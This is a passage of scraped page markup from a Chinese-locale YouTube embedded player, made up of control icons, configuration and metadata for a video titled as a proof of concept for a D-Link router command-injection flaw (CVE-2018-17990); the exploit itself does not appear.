12z" fill="#fff"></path></svg></button></div><div class="ytp-playlist-menu-subtitle"></div></div><div class="ytp-playlist-menu-items" role="menu"></div></div><div class="ytp-share-panel" id="ytp-id-26" role="dialog" aria-labelledby="ytp-id-25" data-layer="5" style="display: none;"><div class="ytp-share-panel-inner-content"><div class="ytp-share-panel-title" id="ytp-id-25">分享</div><a class="ytp-share-panel-link ytp-no-contextmenu" target="_blank" title="分享链接" aria-label="分享链接"></a><label class="ytp-share-panel-include-playlist"><input class="ytp-share-panel-include-playlist-checkbox" type="checkbox" checked="true">包括播放列表</label><div class="ytp-share-panel-loading-spinner"><div class="ytp-spinner-container"><div class="ytp-spinner-rotator"><div class="ytp-spinner-left"><div class="ytp-spinner-circle"></div></div><div class="ytp-spinner-right"><div class="ytp-spinner-circle"></div></div></div></div></div><div class="ytp-share-panel-service-buttons"></div><div class="ytp-share-panel-error">检索分享信息时出错,请稍后重试。</div></div><button class="ytp-share-panel-close ytp-button" title="关闭" aria-label="关闭"><svg height="100%" viewBox="0 0 24 24" width="100%"><path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z" fill="#fff"></path></svg></button></div><div class="ytp-overflow-panel" id="ytp-id-29" role="dialog" data-layer="5" style="display: none;"><div class="ytp-overflow-panel-content"><div class="ytp-overflow-panel-action-buttons"></div></div><button class="ytp-overflow-panel-close ytp-button" title="关闭" aria-label="关闭"><svg height="100%" viewBox="0 0 24 24" width="100%"><path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z" fill="#fff"></path></svg></button></div><div class="ytp-popup ytp-settings-menu" data-layer="6" id="ytp-id-17" style="display: none;"><div class="ytp-panel"><div class="ytp-panel-menu" role="menu"></div></div></div><div class="ytp-gradient-bottom" data-layer="8" style="height: 193px; background-image: url(&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAADBCAYAAAAO/do9AAABEUlEQVQ4T2XI10cFAACF8dvee++67b33uM17b1MkkSSSSBJJJIkkkkQSSSKJ9EfmOw/npfPw8zmBwL/F8IhYE0eJeJNAiUSTRIlkSDGplEgz6ZTIMJmUyDLZlMgxuZTIM/mUKDCFlCiCYlNCiVJTRolyU0GJSlNFiWpTQ4mgqaVEnamnRINppJpMMyVaTCsl2kw7JTpMJyW6TDclekwvJfpMPyUGYNAMUWLYjFBi1IxRYtxMUCJkJikxZaYpMWNmKTEHYROhRNTMU2LBLFJiySxTK7AKa7AOG7AJW7ANO7ALe7APB3AIR3AMJ3AKZ3AOF3AJV3ANN3ALd3APD/AIT/AML/AKb/AOH/AJX/ANP/D7BzZuKusU7pO9AAAAAElFTkSuQmCC&quot;); display: none;"></div><div class="ytp-chrome-bottom" data-layer="8" style="display: none; width: 773px; left: 12px;"><div class="ytp-progress-bar-container" style="height: 5px;"><div class="ytp-progress-bar " tabindex="0" role="slider" aria-label="播放滑块" draggable="true" aria-valuemin="0" aria-valuemax="0" aria-valuenow="0" aria-valuetext="0 分钟 0 秒/0 分钟 0 秒" style="touch-action: none;"><div class="ytp-chapters-container"><div class="ytp-chapter-hover-container" style="width: 773px;"><div class="ytp-progress-bar-padding"></div><div class="ytp-progress-list"><div class="ytp-play-progress ytp-swatch-background-color" style="left: 0px; transform: scaleX(0);"></div><div class="ytp-load-progress" style="left: 0px; transform: scaleX(0);"></div><div class="ytp-hover-progress"></div><div class="ytp-ad-progress-list"></div></div></div></div><div class="ytp-marker-crenellation-list"></div><div class="ytp-timed-markers-container"></div><div class="ytp-clip-start-exclude" style="width: 0%;"></div><div class="ytp-clip-end-exclude" style="left: 100%; width: 0%;"></div><div class="ytp-scrubber-container" style="transform: translateX(0px);"><div class="ytp-scrubber-button ytp-swatch-background-color" style="height: 13px;"><div class="ytp-scrubber-pull-indicator"></div></div></div></div><div class="ytp-bound-time-left">0:00</div><div class="ytp-bound-time-right">0:00</div><div class="ytp-clip-start" draggable="true" title="观看完整视频" style="touch-action: none; left: 0%;"><svg height="100%" version="1.1" viewBox="0 0 14 14" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-3"></use><path d="M12,14 L9,11 L9,3 L12,0 L5,0 L5,14 L12,14 Z" fill="#eaeaea" id="ytp-id-3"></path></svg></div><div class="ytp-clip-end" draggable="true" title="观看完整视频" style="touch-action: none; left: 100%;"><svg height="100%" version="1.1" viewBox="0 0 14 14" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-4"></use><path d="M2,14 L5,11 L5,3 L2,0 L9,0 L9,14 L2,14 L2,14 Z" fill="#eaeaea" id="ytp-id-4"></path></svg></div></div><div class="ytp-chrome-controls"><div class="ytp-left-controls"><a class="ytp-prev-button ytp-button" role="button" aria-disabled="true" style="display: none;"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-10"></use><path class="ytp-svg-fill" d="m 12,12 h 2 v 12 h -2 z m 3.5,6 8.5,6 V 12 z" id="ytp-id-10"></path></svg></a><button class="ytp-play-button ytp-button" title="播放 (k)" aria-label="播放 (k)"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-11"></use><path class="ytp-svg-fill" d="M 12,26 18.5,22 18.5,14 12,10 z M 18.5,22 25,18 25,18 18.5,14 z" id="ytp-id-11"></path></svg></button><a class="ytp-next-button ytp-button" role="button" aria-disabled="true" style="display: none;"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-12"></use><path class="ytp-svg-fill" d="M 12,24 20.5,18 12,12 V 24 z M 22,12 v 12 h 2 V 12 h -2 z" id="ytp-id-12"></path></svg></a><span class="ytp-volume-area"><button class="ytp-mute-button ytp-button" title="静音 (m)" aria-label="静音 (m)"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-14"></use><use class="ytp-svg-shadow" href="#ytp-id-15"></use><defs><clippath id="ytp-svg-volume-animation-mask"><path d="m 14.35,-0.14 -5.86,5.86 20.73,20.78 5.86,-5.91 z"></path><path d="M 7.07,6.87 -1.11,15.33 19.61,36.11 27.80,27.60 z"></path><path class="ytp-svg-volume-animation-mover" d="M 9.09,5.20 6.47,7.88 26.82,28.77 29.66,25.99 z" transform="translate(0, 0)"></path></clippath><clippath id="ytp-svg-volume-animation-slash-mask"><path class="ytp-svg-volume-animation-mover" d="m -11.45,-15.55 -4.44,4.51 20.45,20.94 4.55,-4.66 z" transform="translate(0, 0)"></path></clippath></defs><path class="ytp-svg-fill ytp-svg-volume-animation-speaker" clip-path="url(#ytp-svg-volume-animation-mask)" d="M8,21 L12,21 L17,26 L17,10 L12,15 L8,15 L8,21 Z M19,14 L19,22 C20.48,21.32 21.5,19.77 21.5,18 C21.5,16.26 20.48,14.74 19,14 ZM19,11.29 C21.89,12.15 24,14.83 24,18 C24,21.17 21.89,23.85 19,24.71 L19,26.77 C23.01,25.86 26,22.28 26,18 C26,13.72 23.01,10.14 19,9.23 L19,11.29 Z" fill="#fff" id="ytp-id-14"></path><path class="ytp-svg-fill ytp-svg-volume-animation-hider" clip-path="url(#ytp-svg-volume-animation-slash-mask)" d="M 9.25,9 7.98,10.27 24.71,27 l 1.27,-1.27 Z" fill="#fff" id="ytp-id-15" style="display: none;"></path></svg></button><div class="ytp-volume-panel" role="slider" aria-valuemin="0" aria-valuemax="100" tabindex="0" aria-valuenow="100" aria-valuetext="100% 音量"><div class="ytp-volume-slider" draggable="true" style="touch-action: none;"><div class="ytp-volume-slider-handle" style="left: 40px;"></div></div></div></span><div class="ytp-time-display notranslate"><span class="ytp-time-current">0:00</span><span class="ytp-time-separator"> / </span><span class="ytp-time-duration">1:59</span><button class="ytp-live-badge ytp-button" disabled="true">直播</button></div><div class="ytp-chapter-container" style="display: none;"><button class="ytp-chapter-title ytp-button ytp-chapter-container-disabled" title="查看章节" aria-label="查看章节" disabled=""><span class="ytp-chapter-title-prefix" aria-hidden="true"></span><div class="ytp-chapter-title-content"></div><div class="ytp-chapter-title-chevron"><svg height="100%" viewBox="0 0 24 24" width="100%"><path d="M9.71 18.71l-1.42-1.42 5.3-5.29-5.3-5.29 1.42-1.42 6.7 6.71z" fill="#fff"></path></svg></div></button></div></div><div class="ytp-right-controls"><button class="ytp-subtitles-button ytp-button" title="字幕 (c)" aria-label="字幕 (c)" style="display: none;"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-16"></use><path d="M11,11 C9.9,11 9,11.9 9,13 L9,23 C9,24.1 9.9,25 11,25 L25,25 C26.1,25 27,24.1 27,23 L27,13 C27,11.9 26.1,11 25,11 L11,11 Z M11,17 L14,17 L14,19 L11,19 L11,17 L11,17 Z M20,23 L11,23 L11,21 L20,21 L20,23 L20,23 Z M25,23 L22,23 L22,21 L25,21 L25,23 L25,23 Z M25,19 L16,19 L16,17 L25,17 L25,19 L25,19 Z" fill="#fff" id="ytp-id-16"></path></svg></button><button class="ytp-button ytp-settings-button" aria-haspopup="true" aria-owns="ytp-id-17" title="设置" data-tooltip-target-id="ytp-settings-button" aria-label="设置"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-18"></use><path d="m 23.94,18.78 c .03,-0.25 .05,-0.51 .05,-0.78 0,-0.27 -0.02,-0.52 -0.05,-0.78 l 1.68,-1.32 c .15,-0.12 .19,-0.33 .09,-0.51 l -1.6,-2.76 c -0.09,-0.17 -0.31,-0.24 -0.48,-0.17 l -1.99,.8 c -0.41,-0.32 -0.86,-0.58 -1.35,-0.78 l -0.30,-2.12 c -0.02,-0.19 -0.19,-0.33 -0.39,-0.33 l -3.2,0 c -0.2,0 -0.36,.14 -0.39,.33 l -0.30,2.12 c -0.48,.2 -0.93,.47 -1.35,.78 l -1.99,-0.8 c -0.18,-0.07 -0.39,0 -0.48,.17 l -1.6,2.76 c -0.10,.17 -0.05,.39 .09,.51 l 1.68,1.32 c -0.03,.25 -0.05,.52 -0.05,.78 0,.26 .02,.52 .05,.78 l -1.68,1.32 c -0.15,.12 -0.19,.33 -0.09,.51 l 1.6,2.76 c .09,.17 .31,.24 .48,.17 l 1.99,-0.8 c .41,.32 .86,.58 1.35,.78 l .30,2.12 c .02,.19 .19,.33 .39,.33 l 3.2,0 c .2,0 .36,-0.14 .39,-0.33 l .30,-2.12 c .48,-0.2 .93,-0.47 1.35,-0.78 l 1.99,.8 c .18,.07 .39,0 .48,-0.17 l 1.6,-2.76 c .09,-0.17 .05,-0.39 -0.09,-0.51 l -1.68,-1.32 0,0 z m -5.94,2.01 c -1.54,0 -2.8,-1.25 -2.8,-2.8 0,-1.54 1.25,-2.8 2.8,-2.8 1.54,0 2.8,1.25 2.8,2.8 0,1.54 -1.25,2.8 -2.8,2.8 l 0,0 z" fill="#fff" id="ytp-id-18"></path></svg></button><button class="ytp-multicam-button ytp-button" title="切换摄像机" aria-haspopup="true" aria-label="切换摄像机" style="display: none;"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-19"></use><path d="M 26,10 22.83,10 21,8 15,8 13.17,10 10,10 c -1.1,0 -2,.9 -2,2 l 0,12 c 0,1.1 .9,2 2,2 l 16,0 c 1.1,0 2,-0.9 2,-2 l 0,-12 c 0,-1.1 -0.9,-2 -2,-2 l 0,0 z m -5,11.5 0,-2.5 -6,0 0,2.5 -3.5,-3.5 3.5,-3.5 0,2.5 6,0 0,-2.5 3.5,3.5 -3.5,3.5 0,0 z" fill="#fff" id="ytp-id-19"></path></svg></button><a class="ytp-youtube-button ytp-button yt-uix-sessionlink" target="_blank" title="在 youtube.com 上观看" data-sessionlink="feature=player-button" href="https://www.youtube.com/watch?v=uu6rZuEOzh0" aria-label="在 youtube.com 上观看"><svg height="100%" version="1.1" viewBox="0 0 67 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-20"></use><path class="ytp-svg-fill" d="M 45.09 10 L 45.09 25.82 L 47.16 25.82 L 47.41 24.76 L 47.47 24.76 C 47.66 25.14 47.94 25.44 48.33 25.66 C 48.72 25.88 49.16 25.99 49.63 25.99 C 50.48 25.99 51.1 25.60 51.5 24.82 C 51.9 24.04 52.09 22.82 52.09 21.16 L 52.09 19.40 C 52.12 18.13 52.05 17.15 51.90 16.44 C 51.75 15.74 51.50 15.23 51.16 14.91 C 50.82 14.59 50.34 14.44 49.75 14.44 C 49.29 14.44 48.87 14.57 48.47 14.83 C 48.27 14.96 48.09 15.11 47.93 15.29 C 47.78 15.46 47.64 15.65 47.53 15.86 L 47.51 15.86 L 47.51 10 L 45.09 10 z M 8.10 10.56 L 10.96 20.86 L 10.96 25.82 L 13.42 25.82 L 13.42 20.86 L 16.32 10.56 L 13.83 10.56 L 12.78 15.25 C 12.49 16.62 12.31 17.59 12.23 18.17 L 12.16 18.17 C 12.04 17.35 11.84 16.38 11.59 15.23 L 10.59 10.56 L 8.10 10.56 z M 30.10 10.56 L 30.10 12.58 L 32.59 12.58 L 32.59 25.82 L 35.06 25.82 L 35.06 12.58 L 37.55 12.58 L 37.55 10.56 L 30.10 10.56 z M 19.21 14.46 C 18.37 14.46 17.69 14.63 17.17 14.96 C 16.65 15.29 16.27 15.82 16.03 16.55 C 15.79 17.28 15.67 18.23 15.67 19.43 L 15.67 21.06 C 15.67 22.24 15.79 23.19 16 23.91 C 16.21 24.62 16.57 25.15 17.07 25.49 C 17.58 25.83 18.27 26 19.15 26 C 20.02 26 20.69 25.83 21.19 25.5 C 21.69 25.17 22.06 24.63 22.28 23.91 C 22.51 23.19 22.63 22.25 22.63 21.06 L 22.63 19.43 C 22.63 18.23 22.50 17.28 22.27 16.56 C 22.04 15.84 21.68 15.31 21.18 14.97 C 20.68 14.63 20.03 14.46 19.21 14.46 z M 56.64 14.47 C 55.39 14.47 54.51 14.84 53.99 15.61 C 53.48 16.38 53.22 17.60 53.22 19.27 L 53.22 21.23 C 53.22 22.85 53.47 24.05 53.97 24.83 C 54.34 25.40 54.92 25.77 55.71 25.91 C 55.97 25.96 56.26 25.99 56.57 25.99 C 57.60 25.99 58.40 25.74 58.96 25.23 C 59.53 24.72 59.81 23.94 59.81 22.91 C 59.81 22.74 59.79 22.61 59.78 22.51 L 57.63 22.39 C 57.62 23.06 57.54 23.54 57.40 23.83 C 57.26 24.12 57.01 24.27 56.63 24.27 C 56.35 24.27 56.13 24.18 56.00 24.02 C 55.87 23.86 55.79 23.61 55.75 23.25 C 55.71 22.89 55.68 22.36 55.68 21.64 L 55.68 21.08 L 59.86 21.08 L 59.86 19.16 C 59.86 17.99 59.77 17.08 59.58 16.41 C 59.39 15.75 59.07 15.25 58.61 14.93 C 58.15 14.62 57.50 14.47 56.64 14.47 z M 23.92 14.67 L 23.92 23.00 C 23.92 24.03 24.11 24.79 24.46 25.27 C 24.82 25.76 25.35 26.00 26.09 26.00 C 27.16 26.00 27.97 25.49 28.5 24.46 L 28.55 24.46 L 28.76 25.82 L 30.73 25.82 L 30.73 14.67 L 28.23 14.67 L 28.23 23.52 C 28.13 23.73 27.97 23.90 27.77 24.03 C 27.57 24.16 27.37 24.24 27.15 24.24 C 26.89 24.24 26.70 24.12 26.59 23.91 C 26.48 23.70 26.43 23.35 26.43 22.85 L 26.43 14.67 L 23.92 14.67 z M 36.80 14.67 L 36.80 23.00 C 36.80 24.03 36.98 24.79 37.33 25.27 C 37.60 25.64 37.97 25.87 38.45 25.96 C 38.61 25.99 38.78 26.00 38.97 26.00 C 40.04 26.00 40.83 25.49 41.36 24.46 L 41.41 24.46 L 41.64 25.82 L 43.59 25.82 L 43.59 14.67 L 41.09 14.67 L 41.09 23.52 C 40.99 23.73 40.85 23.90 40.65 24.03 C 40.45 24.16 40.23 24.24 40.01 24.24 C 39.75 24.24 39.58 24.12 39.47 23.91 C 39.36 23.70 39.31 23.35 39.31 22.85 L 39.31 14.67 L 36.80 14.67 z M 56.61 16.15 C 56.88 16.15 57.08 16.23 57.21 16.38 C 57.33 16.53 57.42 16.79 57.47 17.16 C 57.52 17.53 57.53 18.06 57.53 18.78 L 57.53 19.58 L 55.69 19.58 L 55.69 18.78 C 55.69 18.05 55.71 17.52 55.75 17.16 C 55.79 16.81 55.87 16.55 56.00 16.39 C 56.13 16.23 56.32 16.15 56.61 16.15 z M 19.15 16.19 C 19.50 16.19 19.75 16.38 19.89 16.75 C 20.03 17.12 20.09 17.7 20.09 18.5 L 20.09 21.97 C 20.09 22.79 20.03 23.39 19.89 23.75 C 19.75 24.11 19.51 24.29 19.15 24.30 C 18.80 24.30 18.54 24.11 18.41 23.75 C 18.28 23.39 18.22 22.79 18.22 21.97 L 18.22 18.5 C 18.22 17.7 18.28 17.12 18.42 16.75 C 18.56 16.38 18.81 16.19 19.15 16.19 z M 48.63 16.22 C 48.88 16.22 49.08 16.31 49.22 16.51 C 49.36 16.71 49.45 17.05 49.50 17.52 C 49.55 17.99 49.58 18.68 49.58 19.55 L 49.58 21 L 49.59 21 C 49.59 21.81 49.57 22.45 49.5 22.91 C 49.43 23.37 49.32 23.70 49.16 23.89 C 49.00 24.08 48.78 24.17 48.51 24.17 C 48.30 24.17 48.11 24.12 47.94 24.02 C 47.76 23.92 47.62 23.78 47.51 23.58 L 47.51 17.25 C 47.59 16.95 47.75 16.70 47.96 16.50 C 48.17 16.31 48.39 16.22 48.63 16.22 z " id="ytp-id-20"></path></svg></a><button class="ytp-pip-button ytp-button" data-tooltip-target-id="ytp-pip-button" title="画中画" aria-label="画中画" style="display: none;"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-5"></use><path d="M25,17 L17,17 L17,23 L25,23 L25,17 L25,17 Z M29,25 L29,10.98 C29,9.88 28.1,9 27,9 L9,9 C7.9,9 7,9.88 7,10.98 L7,25 C7,26.1 7.9,27 9,27 L27,27 C28.1,27 29,26.1 29,25 L29,25 Z M27,25.02 L9,25.02 L9,10.97 L27,10.97 L27,25.02 L27,25.02 Z" fill="#fff" id="ytp-id-5"></path></svg></button><button class="ytp-size-button ytp-button" style="display: none;"></button><button class="ytp-button" title="在电视上播放" aria-haspopup="true" aria-label="在电视上播放" style="display: none;"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><use class="ytp-svg-shadow" href="#ytp-id-21"></use><path d="M27,9 L9,9 C7.9,9 7,9.9 7,11 L7,14 L9,14 L9,11 L27,11 L27,25 L20,25 L20,27 L27,27 C28.1,27 29,26.1 29,25 L29,11 C29,9.9 28.1,9 27,9 L27,9 Z M7,24 L7,27 L10,27 C10,25.34 8.66,24 7,24 L7,24 Z M7,20 L7,22 C9.76,22 12,24.24 12,27 L14,27 C14,23.13 10.87,20 7,20 L7,20 Z M7,16 L7,18 C11.97,18 16,22.03 16,27 L18,27 C18,20.92 13.07,16 7,16 L7,16 Z" fill="#fff" id="ytp-id-21"></path></svg></button><button class="ytp-fullscreen-button ytp-button" title="全屏 (f)"><svg height="100%" version="1.1" viewBox="0 0 36 36" width="100%"><g class="ytp-fullscreen-button-corner-0"><use class="ytp-svg-shadow" href="#ytp-id-6"></use><path class="ytp-svg-fill" d="m 10,16 2,0 0,-4 4,0 0,-2 L 10,10 l 0,6 0,0 z" id="ytp-id-6"></path></g><g class="ytp-fullscreen-button-corner-1"><use class="ytp-svg-shadow" href="#ytp-id-7"></use><path class="ytp-svg-fill" d="m 20,10 0,2 4,0 0,4 2,0 L 26,10 l -6,0 0,0 z" id="ytp-id-7"></path></g><g class="ytp-fullscreen-button-corner-2"><use class="ytp-svg-shadow" href="#ytp-id-8"></use><path class="ytp-svg-fill" d="m 24,24 -4,0 0,2 L 26,26 l 0,-6 -2,0 0,4 0,0 z" id="ytp-id-8"></path></g><g class="ytp-fullscreen-button-corner-3"><use class="ytp-svg-shadow" href="#ytp-id-9"></use><path class="ytp-svg-fill" d="M 12,20 10,20 10,26 l 6,0 0,-2 -4,0 0,-4 0,0 z" id="ytp-id-9"></path></g></svg></button></div></div></div></div></div><script>yt.setConfig({"GAPI_LOCALE":"zh_CN","XSRF_FIELD_NAME":"session_token","INNERTUBE_API_KEY":"AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8","ROOT_VE_TYPE":16623,"INNERTUBE_CONTEXT_CLIENT_NAME":56,"INNERTUBE_API_VERSION":"v1","XHR_APIARY_HOST":"youtubei.youtube.com","GAPI_HINT_PARAMS":"m;\/_\/scs\/abc-static\/_\/js\/k=gapi.gapi.en.uhBKOtz6fOw.O\/d=1\/ct=zgms\/rs=AHpOoo8GZHNTtpcfighnqAH0uUZTALLzrw\/m=__features__","INNERTUBE_CONTEXT_CLIENT_VERSION":"20201218","PLAYER_VARS":{"eventid":"dcDhX9qmJ5CQlQSAxrvoBA","el":"embedded","enablecastapi":"1","embedded_player_response":"{\"responseContext\":{\"serviceTrackingParams\":[{\"service\":\"CSI\",\"params\":[{\"key\":\"c\",\"value\":\"WEB_EMBEDDED_PLAYER\"},{\"key\":\"cver\",\"value\":\"20201218\"},{\"key\":\"yt_li\",\"value\":\"1\"},{\"key\":\"GetEmbeddedPlayer_rid\",\"value\":\"0x92d7e6ca96163f4c\"}]},{\"service\":\"GFEEDBACK\",\"params\":[{\"key\":\"logged_in\",\"value\":\"1\"},{\"key\":\"e\",\"value\":\"23944779,23965963,23973158,23940704,1714244,23882685,23970974,23942633,23968386,23932523,23973808,23972240,23918597,23940247,23857949,23972293,23804281,23884386,23934970,23981908,23748146,23974595,23948841,23973496,23946269,23946420,23839597,23975726,23891344,23911055,23969486,23961732,23976578,23951620,23744176,23969934\"}]},{\"service\":\"GUIDED_HELP\",\"params\":[{\"key\":\"logged_in\",\"value\":\"1\"}]},{\"service\":\"ECATCHER\",\"params\":[{\"key\":\"client.version\",\"value\":\"20201218\"},{\"key\":\"client.name\",\"value\":\"WEB_EMBEDDED_PLAYER\"}]}]},\"embedPreview\":{\"thumbnailPreviewRenderer\":{\"title\":{\"runs\":[{\"text\":\"D-Link DSL-3782 OS Command Injection PoC (CVE-2018-17990)\"}]},\"defaultThumbnail\":{\"thumbnails\":[{\"url\":\"https:\/\/i.ytimg.com\/vi_webp\/uu6rZuEOzh0\/default.webp\",\"width\":120,\"height\":90},{\"url\":\"https:\/\/i.ytimg.com\/vi\/uu6rZuEOzh0\/hqdefault.jpg?sqp=-oaymwEWCKgBEF5IWvKriqkDCQgBFQAAiEIYAQ==\\u0026rs=AOn4CLDAcm4iXXHJST3khF9xMoRsGRvzsw\",\"width\":168,\"height\":94},{\"url\":\"https:\/\/i.ytimg.com\/vi\/uu6rZuEOzh0\/hqdefault.jpg?sqp=-oaymwEWCMQBEG5IWvKriqkDCQgBFQAAiEIYAQ==\\u0026rs=AOn4CLA5VrwZ_joL2Eot_XvuQVjR8Sxtuw\",\"width\":196,\"height\":110},{\"url\":\"https:\/\/i.ytimg.com\/vi\/uu6rZuEOzh0\/hqdefault.jpg?sqp=-oaymwEXCPYBEIoBSFryq4qpAwkIARUAAIhCGAE=\\u0026rs=AOn4CLDIYAqFsDYYBE-79Itbh-5Rwpcn2A\",\"width\":246,\"height\":138},{\"url\":\"https:\/\/i.ytimg.com\/vi_webp\/uu6rZuEOzh0\/mqdefault.webp\",\"width\":320,\"height\":180},{\"url\":\"https:\/\/i.ytimg.com\/vi\/uu6rZuEOzh0\/hqdefault.jpg?sqp=-oaymwEXCNACELwBSFryq4qpAwkIARUAAIhCGAE=\\u0026rs=AOn4CLBgnZKNE6uW_uJZFnQwwLkP1-2Ieg\",\"width\":336,\"height\":188},{\"url\":\"https:\/\/i.ytimg.com\/vi_webp\/uu6rZuEOzh0\/hqdefault.webp\",\"width\":480,\"height\":360},{\"url\":\"https:\/\/i.ytimg.com\/vi_webp\/uu6rZuEOzh0\/sddefault.webp\",\"width\":640,\"height\":480},{\"url\":\"https:\/\/i.ytimg.com\/vi_webp\/uu6rZuEOzh0\/maxresdefault.webp\",\"width\":1920,\"height\":1080}]},\"playButton\":{\"buttonRenderer\":{\"style\":\"STYLE_DEFAULT\",\"size\":\"SIZE_DEFAULT\",\"isDisabled\":false,\"navigationEndpoint\":{\"clickTrackingParams\":\"CAcQ8FsiEwiypNCXp-HtAhUSQ4UKHZRSBDQ=\",\"watchEndpoint\":{\"videoId\":\"uu6rZuEOzh0\"}},\"accessibility\":{\"label\":\"播放“D-Link DSL-3782 OS Command Injection PoC (CVE-2018-17990)”\"},\"trackingParams\":\"CAcQ8FsiEwiypNCXp-HtAhUSQ4UKHZRSBDQ=\"}},\"videoDetails\":{\"embeddedPlayerOverlayVideoDetailsRenderer\":{\"channelThumbnail\":{\"thumbnails\":[{\"url\":\"https:\/\/yt3.ggpht.com\/ytc\/AAUvwniR6MkegHC7WsrIGVXemxvLWQcPG1RQjan8PFp-_w=s68-c-k-c0x00ffffff-no-rj\",\"width\":68,\"height\":68}]},\"collapsedRenderer\":{\"embeddedPlayerOverlayVideoDetailsCollapsedRenderer\":{\"title\":{\"runs\":[{\"text\":\"D-Link DSL-3782 OS Command Injection PoC (CVE-2018-17990)\",\"navigationEndpoint\":{\"clickTrackingParams\":\"CAYQ46ICIhMIsqTQl6fh7QIVEkOFCh2UUgQ0\",\"urlEndpoint\":{\"url\":\"http:\/\/www.youtube.com\/watch?v=uu6rZuEOzh0\"}}}]},\"subtitle\":{\"runs\":[{\"text\":\"35次观看\"}]},\"trackingParams\":\"CAYQ46ICIhMIsqTQl6fh7QIVEkOFCh2UUgQ0\"}},\"expandedRenderer\":{\"embeddedPlayerOverlayVideoDetailsExpandedRenderer\":{\"title\":{\"runs\":[{\"text\":\"Lorenzo Comi\"}]},\"subscribeButton\":{\"subscribeButtonRenderer\":{\"buttonText\":{\"runs\":[{\"text\":\"订阅\"}]},\"subscribed\":false,\"enabled\":true,\"type\":\"FREE\",\"channelId\":\"UCnxjJp-aZLXIsxLAB5jF1Cw\",\"showPreferences\":false,\"subscribedButtonText\":{\"runs\":[{\"text\":\"已订阅\"}]},\"unsubscribedButtonText\":{\"runs\":[{\"text\":\"订阅\"}]},\"trackingParams\":\"CAQQmysiEwiypNCXp-HtAhUSQ4UKHZRSBDQyCWl2LWVtYmVkcw==\",\"unsubscribeButtonText\":{\"runs\":[{\"text\":\"退订\"}]},\"serviceEndpoints\":[{\"clickTrackingParams\":\"CAQQmysiEwiypNCXp-HtAhUSQ4UKHZRSBDQyCWl2LWVtYmVkcw==\",\"subscribeEndpoint\":{\"channelIds\":[\"UCnxjJp-aZLXIsxLAB5jF1Cw\"],\"params\":\"EgIIBxgA\"}},{\"clickTrackingParams\":\"CAQQmysiEwiypNCXp-HtAhUSQ4UKHZRSBDQyCWl2LWVtYmVkcw==\",\"unsubscribeEndpoint\":{\"channelIds\":[\"UCnxjJp-aZLXIsxLAB5jF1Cw\"],\"params\":\"CgIIBxgA\"}}],\"notificationPreferenceToggleButton\":{\"toggleButtonRenderer\":{\"isToggled\":false,\"isDisabled\":false,\"defaultIcon\":{\"iconType\":\"CHANNEL_NOTIFICATION_PREFERENCE_OFF\"},\"defaultServiceEndpoint\":{\"clickTrackingParams\":\"CAUQmE0iEwiypNCXp-HtAhUSQ4UKHZRSBDQyHFBSRUZFUkVOQ0VfQUxMX05PVElGSUNBVElPTlM=\",\"modifyChannelNotificationPreferenceEndpoint\":{\"params\":\"ChhVQ254akpwLWFaTFhJc3hMQUI1akYxQ3cSAggCGAE%3D\"}},\"toggledIcon\":{\"iconType\":\"CHANNEL_NOTIFICATION_PREFERENCE_ON\"},\"toggledServiceEndpoint\":{\"clickTrackingParams\":\"CAUQmE0iEwiypNCXp-HtAhUSQ4UKHZRSBDQyElBSRUZFUkVOQ0VfREVGQVVMVA==\",\"modifyChannelNotificationPreferenceEndpoint\":{\"params\":\"ChhVQ254akpwLWFaTFhJc3hMQUI1akYxQ3cSAggBGAE%3D\"}},\"trackingParams\":\"CAUQmE0iEwiypNCXp-HtAhUSQ4UKHZRSBDQ=\",\"defaultTooltip\":\"在每个新视频上传时收到通知\",\"toggledTooltip\":\"停止在每个新视频上传时收到通知\"}}}},\"subtitle\":{\"runs\":[{\"text\":\"1 位订阅者\"}]},\"trackingParams\":\"CAMQ5KICIhMIsqTQl6fh7QIVEkOFCh2UUgQ0\"}},\"channelThumbnailEndpoint\":{\"clickTrackingParams\":\"CAAQru4BIhMIsqTQl6fh7QIVEkOFCh2UUgQ0\",\"channelThumbnailEndpoint\":{\"urlEndpoint\":{\"clickTrackingParams\":\"CAAQru4BIhMIsqTQl6fh7QIVEkOFCh2UUgQ0\",\"urlEndpoint\":{\"url\":\"\/channel\/UCnxjJp-aZLXIsxLAB5jF1Cw\"}}}}}},\"shareButton\":{\"buttonRenderer\":{\"style\":\"STYLE_OPACITY\",\"size\":\"SIZE_DEFAULT\",\"isDisabled\":false,\"text\":{\"runs\":[{\"text\":\"分享\"}]},\"icon\":{\"iconType\":\"SHARE_ARROW\"},\"navigationEndpoint\":{\"clickTrackingParams\":\"CAIQ-N8BIhMIsqTQl6fh7QIVEkOFCh2UUgQ0\",\"shareVideoEndpoint\":{\"videoId\":\"uu6rZuEOzh0\",\"videoShareUrl\":\"https:\/\/youtu.be\/uu6rZuEOzh0\",\"videoTitle\":\"D-Link DSL-3782 OS Command Injection PoC 